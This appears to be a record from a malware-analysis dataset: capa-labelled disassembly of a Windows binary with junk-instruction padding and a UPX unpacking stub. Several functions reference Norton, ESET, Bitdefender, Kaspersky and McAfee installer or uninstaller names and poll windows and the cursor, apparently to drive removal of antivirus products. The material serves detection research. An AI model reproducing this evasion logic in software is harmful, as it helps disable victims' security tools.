joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004710
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1a0]
mov dword [ebp - 0x10], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea eax, [ebp - 0x430]
push eax
push 0x23
call fcn.10001f20
add esp, 8
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call fcn.100028a0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push str.InstStub.exe
push str.norton
push 0
push 9
lea ecx, [ebp - 0x430]
push ecx
call fcn.10001fc0
add esp, 8
push eax
call fcn.10001cf0
add esp, 0x10
test eax, eax
jne 0x1000478f
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, 0xfffffffe
jmp 0x10004956
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x10004954
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x220]
jbe 0x100048b0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x438]
jne 0x10004829
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x434]
je 0x1000485d
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [ebp - 0x21c], 0
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0xc], ecx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 0x434]
mov dword [ebp - 8], edx
mov dword [0x1000f440], 0
jmp 0x100048a4
cmp dword [ebp - 0x21c], 0
jne 0x10004881
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov dword [0x1000f440], 0
jmp 0x100048a4
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f440], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0
push 0x100041d0
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0x10010250
call fcn.100013d0
add esp, 4
test eax, eax
jne 0x100048e7
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov byte [0x10010459], 1
movzx eax, byte [0x10010459]
test eax, eax
je 0x10004929
cmp dword [ebp - 0x228], 0
jne 0x10004914
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x4e20
mov dword [ebp - 0x228], eax
jmp 0x10004929
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x10004929
mov eax, 1
jmp 0x10004956
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10004941
xor eax, eax
jmp 0x10004956
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100047d5
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008ca1
mov esp, ebp
pop ebp
ret
Function at 0x10004fb0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1a0]
mov dword [ebp - 0x10], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea eax, [ebp - 0x430]
push eax
push 0x23
call fcn.10001f20
add esp, 8
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call fcn.100028a0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push str.callmsi.exe
push str.eset
push 0
push 9
lea ecx, [ebp - 0x430]
push ecx
call fcn.10001fc0
add esp, 8
push eax
call fcn.10001cf0
add esp, 0x10
test eax, eax
jne 0x1000502f
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, 0xfffffffe
jmp 0x100051e4
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x100051e2
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x220]
jbe 0x1000515c
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x438]
jne 0x100050cf
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x434]
je 0x10005103
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [ebp - 0x21c], 0
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0xc], ecx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 0x434]
mov dword [ebp - 8], edx
mov dword [0x1000f440], 0
jmp 0x1000514a
cmp dword [ebp - 0x21c], 0
jne 0x10005127
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov dword [0x1000f440], 0
jmp 0x1000514a
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f440], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0
push 0x10004970
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
movzx eax, byte [0x10010468]
test eax, eax
je 0x100051b7
cmp dword [ebp - 0x228], 0
jne 0x100051a2
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x2710
mov dword [ebp - 0x228], eax
jmp 0x100051b7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x100051b7
mov eax, 1
jmp 0x100051e4
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x100051cf
xor eax, eax
jmp 0x100051e4
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005075
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008ca1
mov esp, ebp
pop ebp
ret
Function at 0x100057f0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1a0]
mov dword [ebp - 0x10], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea eax, [ebp - 0x430]
push eax
push 0x23
call fcn.10001f20
add esp, 8
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call fcn.100028a0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push str.msiexec.exe
push str.bitdefender
push 0
push 9
lea ecx, [ebp - 0x430]
push ecx
call fcn.10001fc0
add esp, 8
push eax
call fcn.10001cf0
add esp, 0x10
test eax, eax
jne 0x10005869
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, 0xfffffffe
jmp 0x10005a1e
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x10005a1c
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x220]
jbe 0x10005990
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x438]
jne 0x10005909
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x434]
je 0x1000593d
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [ebp - 0x21c], 0
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0xc], ecx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 0x434]
mov dword [ebp - 8], edx
mov dword [0x1000f440], 0
jmp 0x10005984
cmp dword [ebp - 0x21c], 0
jne 0x10005961
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov dword [0x1000f440], 0
jmp 0x10005984
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f440], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0
push 0x100051f0
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
movzx eax, byte [0x10010478]
test eax, eax
je 0x100059eb
cmp dword [ebp - 0x228], 0
jne 0x100059d6
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x2710
mov dword [ebp - 0x228], eax
jmp 0x100059eb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x100059eb
mov eax, 1
jmp 0x10005a1e
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10005a09
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
xor eax, eax
jmp 0x10005a1e
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100058af
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008ca1
mov esp, ebp
pop ebp
ret
Function at 0x10006000
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1a0]
mov dword [ebp - 0x10], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea eax, [ebp - 0x430]
push eax
push 0x23
call fcn.10001f20
add esp, 8
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call fcn.100028a0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push str.msiexec.exe
push str.kaspersky
push 0
push 9
lea ecx, [ebp - 0x430]
push ecx
call fcn.10001fc0
add esp, 8
push eax
call fcn.10001cf0
add esp, 0x10
test eax, eax
jne 0x1000607f
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, 0xfffffffe
jmp 0x1000623a
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x10006238
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x220]
jbe 0x100061b2
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x438]
jne 0x10006119
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x434]
je 0x10006159
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [ebp - 0x21c], 0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0xc], ecx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 0x434]
mov dword [ebp - 8], edx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [0x1000f440], 0
jmp 0x100061a0
cmp dword [ebp - 0x21c], 0
jne 0x10006183
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [0x1000f440], 0
jmp 0x100061a0
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f440], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0
push 0x10005a30
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
movzx eax, byte [0x10010488]
test eax, eax
je 0x10006207
cmp dword [ebp - 0x228], 0
jne 0x100061f2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x2710
mov dword [ebp - 0x228], eax
jmp 0x10006207
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x10006207
mov eax, 1
jmp 0x1000623a
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10006225
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
xor eax, eax
jmp 0x1000623a
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100060c5
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008ca1
mov esp, ebp
pop ebp
ret
Function at 0x10007870
Capabilities:
Create process on windows
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1000f1a0]
mov dword [ebp - 4], eax
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
lea eax, [ebp - 0x420]
push eax
push 0x26
call fcn.10001f20
add esp, 8
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0x1000d238
lea ecx, [ebp - 0x420]
push ecx
call fcn.10008cc0
add esp, 8
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push str.mcuninst.exe
push str.mcafee
lea edx, [ebp - 0x420]
push edx
call fcn.100017f0
add esp, 0xc
test eax, eax
jne 0x100078f7
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov eax, 0xfffffffe
jmp 0x100079dc
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 1
push 0x1000d23a
push 0x1000d23b
push 0x1000f448
push 0x1000d23c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x10007926
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
mov dword [ebp - 0x218], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x214], eax
mov eax, 1
test eax, eax
je 0x100079da
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 0
push 0x100070b0
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
movzx ecx, byte [0x10010492]
test ecx, ecx
je 0x100079a9
cmp dword [ebp - 0x218], 0
jne 0x10007994
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x9c40
mov dword [ebp - 0x218], eax
jmp 0x100079a9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x218]
jbe 0x100079a9
mov eax, 1
jmp 0x100079dc
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x214]
jbe 0x100079c1
xor eax, eax
jmp 0x100079dc
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x1d
mov al, 0xc2
mov al, 0xc3
jmp 0x10007941
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.10008ca1
mov esp, ebp
pop ebp
ret
Function at 0x10008de9
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
jne 0x10008ec6
mov eax, 0x94
call fcn.10009b90
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10008e8d
mov ecx, dword [esi + 0x10]
mov dword [0x100104bc], ecx
mov eax, dword [esi + 4]
mov dword [0x100104c8], eax
mov edx, dword [esi + 8]
mov dword [0x100104cc], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x100104c0], esi
je 0x10008e4e
or esi, 0x8000
mov dword [0x100104c0], esi
shl eax, 8
add eax, edx
xor esi, esi
push esi
mov dword [0x100104c4], eax
call fcn.10009915
test eax, eax
pop ecx
je 0x10008e8d
call fcn.10009b07
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x10010a34], eax
call fcn.100099e5
mov dword [0x1001049c], eax
call fcn.10009458
test eax, eax
jge 0x10008e91
call fcn.10009966
xor eax, eax
jmp 0x10008eb7
call fcn.10009859
test eax, eax
jl 0x10008ebf
call fcn.10009626
test eax, eax
jl 0x10008ebf
push esi
call fcn.1000930d
test eax, eax
pop ecx
jne 0x10008ebf
inc dword [0x10010498]
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc
call fcn.10009603
jmp 0x10008e88
xor esi, esi
cmp dword [ebp + 0xc], esi
jne 0x10008eb4
cmp dword [0x10010498], esi
jle 0x10008e8d
dec dword [0x10010498]
cmp dword [0x100104f8], esi
jne 0x10008ee8
call fcn.10009449
call fcn.10009603
call fcn.10009966
jmp 0x10008eb4

Function at 0x10009377
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x100104fc], esi
push edi
jne 0x10009397
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x100104f8], esi
mov byte [0x100104f4], al
jne 0x100093fd
mov ecx, dword [0x10010a28]
test ecx, ecx
je 0x100093de
mov eax, dword [0x10010a24]
sub eax, 4
cmp eax, ecx
jmp 0x100093d7
mov eax, dword [eax]
test eax, eax
je 0x100093c9
call eax
mov eax, dword [0x10010a24]
sub eax, 4
cmp eax, dword [0x10010a28]
mov dword [0x10010a24], eax
jae 0x100093c1
mov eax, 0x1000f01c
mov esi, 0x1000f020
cmp eax, esi
mov edi, eax
jae 0x100093fd
mov eax, dword [edi]
test eax, eax
je 0x100093f6
call eax
add edi, 4
cmp edi, esi
jb 0x100093ee
mov eax, 0x1000f024
mov esi, 0x1000f028
cmp eax, esi
mov edi, eax
jae 0x1000941c
mov eax, dword [edi]
test eax, eax
je 0x10009415
call eax
add edi, 4
cmp edi, esi
jb 0x1000940d
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x10009436
push dword [ebp + 8]
mov dword [0x100104fc], 1
call fcn.100092dd
pop ebp
ret
Function at 0x10009d59
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x10010614], ebx
push esi
push edi
jne 0x10009dd9
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x10009e14
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x10010614], eax
je 0x10009e14
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x10010618], eax
call esi
cmp dword [0x100104bc], 2
mov dword [0x1001061c], eax
jne 0x10009dd9
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x10010624], eax
je 0x10009dd9
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x10010620], eax
mov eax, dword [0x10010620]
test eax, eax
je 0x10009e1e
call eax
test eax, eax
je 0x10009e05
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x10010624]
test eax, eax
je 0x10009e05
test byte [ebp - 8], 1
jne 0x10009e1e
cmp dword [0x100104c8], 4
jb 0x10009e18
or byte [ebp + 0x12], 0x20
jmp 0x10009e3d
xor eax, eax
jmp 0x10009e4d
or byte [ebp + 0x12], 4
jmp 0x10009e3d
mov eax, dword [0x10010618]
test eax, eax
je 0x10009e3d
call eax
mov ebx, eax
test ebx, ebx
je 0x10009e3d
mov eax, dword [0x1001061c]
test eax, eax
je 0x10009e3d
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x10010614]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000c379
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.10009b90
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000c414
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x100104bc]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x1000c414
cmp eax, 1
je 0x1000c435
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000c414
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x1000c3e1
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x1000c410
xor eax, eax
inc eax
jmp 0x1000c454
cmp edi, eax
jae 0x1000c418
xor eax, eax
jmp 0x1000c454
cmp eax, esi
jae 0x1000c41f
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x100104bc]
jmp 0x1000c438
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x7a2780
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2a9000]
push edi
or ebp, 0xffffffff
jmp 0x7a27a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7a27a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7a2798
mov eax, 1
add ebx, ebx
jne 0x7a27bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7a27cc
jne 0x7a27eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7a27eb
dec eax
add ebx, ebx
jne 0x7a27d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7a27b0
add ebx, ebx
jne 0x7a27e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7a283d
xor ecx, ecx
sub eax, 3
jb 0x7a2803
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7a2872
sar eax, 1
mov ebp, eax
jmp 0x7a280e
add ebx, ebx
jne 0x7a280e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7a27dc
inc ecx
add ebx, ebx
jne 0x7a281c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7a27dc
add ebx, ebx
jne 0x7a2829
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7a281e
jne 0x7a283a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7a281e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7a285c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7a284e
jmp 0x7a279e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7a285c
add edi, ecx
jmp 0x7a279e
pop esi
mov edi, esi
mov ecx, 0x35f0b5
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x7a2897
cmp byte [edi], 0x49
jne 0x7a287c
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x7a287a
lea edi, [esi + 0x3a0000]
mov eax, dword [edi]
or eax, eax
je 0x7a28e8
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3a2cfc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3a2d38]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7a289d
mov ecx, edi
jns 0x7a28cc
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3a2d3c]
or eax, eax
je 0x7a28e2
mov dword [ebx], eax
add ebx, 4
jmp 0x7a28ba
call dword [esi + 0x3a2d4c]
mov ebp, dword [esi + 0x3a2d40]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7a291c
sub esp, 0xffffff80
jmp 0x4012b8